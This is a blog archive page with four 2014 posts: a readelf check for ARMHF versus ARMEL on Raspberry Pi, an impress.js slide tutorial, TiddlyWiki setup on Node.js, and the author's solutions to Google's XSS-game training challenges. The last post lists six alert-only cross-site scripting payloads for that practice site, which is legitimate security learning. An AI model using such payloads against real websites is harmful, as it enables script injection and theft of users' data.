Monday, June 30, 2014

ARMHF or ARMEL?

We like Raspberry Pi, and we wonder which distribution are we using now. Do this to find out yourself:

$ readelf -A /proc/self/exe | grep Tag_ABI_VFP_args
Tag_ABI_VFP_args: VFP registers

If the Tag_ABI_VFP_args tag is found, then you're running on an ARMHF system.  If nothing is returned, then it's ARMEL.  The example above indicates an armhf distro. And the below:

$ pi@raspberrypi:~$ readelf -A /proc/self/exe | grep Tag_ABI_VFP_args 

Nothing returned indicates that this is indeed ARMEL, which is the soft-float Debian Wheezy distribution.

Monday, June 09, 2014

Learning Impress.js

Here I'll show you how to create the 1st presentation that use Javascript (impress.js).

Setup the 1st template.html

<!doctype html> 
<html> 
    <head> 
        <title>Impress Tutorial</title> 
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    </head> 
    <body>

        <div class="step"> My 1st slide </div>

    <script type="text/javascript" src="impress.js"></script>
    <script>impress().init()</script>
    </body> 
</html> 

From the template.html, copy and make your own the 1st impress.js's presentation.

The very 1st slide is always at the position (0,0,0) for x,y,z. Usually you only start add in the animation from slide 2 onward. Below are the only commands that you need to learn how to animate the slide transition.

  • data-x="800" - Positive (move-to-right), Negative (move-to-left)
  • data-y="500" - Positive (move-down), Negative (move-to-up)
  • data-z="1200" - Positive (come-close), Negative (go-far)
  • data-scale="5" - Scale X times (1: original; x: bigger; 0.x: smaller)
  • data-rotate-x="90" - 3D sliding. Positive (rotate-to-up-degree), Negative (rotate-to-down-degree)
  • data-rotate-y="180" - 3D sliding. Positive (rotate-to-left-degree), Negative (rotate-to-right-degree)
  • data-rotate-z="270" - 3D sliding. Rotated about the z-axis.


Example, I'm creating 4 slides, and wish them to rotate to right like a cube.

<div class="step"> My 1st slide </div>
<div class="step" data-rotate-y="90"> My 2nd slide </div>
<div class="step" data-rotate-y="180"> My 3rd slide </div>
<div class="step" data-rotate-y="270"> My 4th slide </div>




Sunday, June 08, 2014

TiddlyWiki on Node.js

Start getting the TiddlyWiki on Node.js and here is the steps I installing them.

Installation

  1. Install Node.js from http://nodejs.org (I've done this before).
  2. From the shell:
sudo npm install -g tiddlywiki
  1. Check the installation from the shell:
tiddlywiki --version
  1. Initialize the server:
tiddlywiki zdwiki --init server
  1. Start it: 
tiddlywiki zdwiki --server

Tuesday, June 03, 2014

My XSS-game Solution at Google AppSpot

This is the solution that I had tried out the XSS challenges at Google AppSpot, xss-game.appspot.com.

Level 1:
  • https://xss-game.appspot.com/level1/frame?query=-->+<script>alert('level1');</script>

Level 2:
  • <img src="" onmouseover="javascript:alert('level2');">

Level 3:
  • https://xss-game.appspot.com/level3/frame#1' onmouseover="javascript:alert('level3');"

Level 4:
  • https://xss-game.appspot.com/level4/frame?timer=');alert('level4')<!--

Level 5:
  • https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('level5');"

Level 6:
  • https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('foo')

Reference:
  • https://www.google.com/about/appsecurity/learning/xss/index.html